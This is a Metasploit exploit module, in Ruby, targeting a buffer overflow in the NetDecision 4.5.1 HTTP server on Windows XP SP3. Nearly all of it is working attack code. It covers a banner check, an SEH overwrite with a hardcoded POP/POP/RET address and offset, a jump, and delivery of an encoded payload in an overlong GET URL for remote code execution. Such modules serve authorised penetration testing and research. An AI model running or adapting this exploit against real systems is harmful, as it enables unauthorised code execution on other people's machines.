NetDecision 4.5.1 HTTP Server Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "NetDecision 4.5.1 HTTP Server Buffer Overflow",  
'Description' => %q{  
This module exploits a vulnerability found in NetDecision's HTTP service  
(located in C:\Program Files\NetDecision\Bin\HttpSvr.exe). By supplying a  
long string of data to the URL, an overflow may occur if the data gets handled  
by HTTP Server's active window. In other words, in order to gain remote code  
execution, the victim is probably looking at HttpSvr's window.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Prabhu S Angadi', #Discovery, DoS PoC  
'sinn3r' #Metasploit  
],  
'References' =>  
[  
['OSVDB', '79651'],  
['URL', 'http://secunia.com/advisories/48168/'],  
['URL', 'http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_HTTP_Server_DoS_Vuln.txt']  
],  
'Payload' =>  
{  
'BadChars' => "\x00\x09\x0a\x0d\x20\x25\x26\x27\x3f",  
'StackAdjustment' => -3500,  
},  
'DefaultOptions' =>  
{  
'ExitFunction' => "seh",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[  
'NetDecision 4.5.1 on XP SP3',  
{  
# POP/POP/RET - OLEACC.dll  
'Ret' => 0x74C869E2,  
'Offset' => 1620  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => "Feb 24 2012",  
'DefaultTarget' => 0))  
end  
  
def check  
res = send_request_cgi({'uri'=>'/'})  
banner = res.headers['Server']  
if banner =~ /NetDecision\-HTTP\-Server\/1\.0/  
return Exploit::CheckCode::Vulnerable  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
buf = "/"  
buf << rand_text_alpha(675, payload_badchars)  
buf << pattern_create(5) #Avoid TerminateProcess()  
buf << rand_text_alpha(target['Offset']-buf.length, payload_badchars)  
buf << "\xeb\x06" + rand_text_alpha(2, payload_badchars)  
buf << [target.ret].pack('V*')  
buf << payload.encoded  
buf << rand_text_alpha(8000-buf.length, payload_badchars)  
  
print_status("#{rhost}:#{rport} - Sending #{self.name}...")  
  
send_request_raw({  
'method' => 'GET',  
'uri' => buf  
})  
  
handler  
end  
end`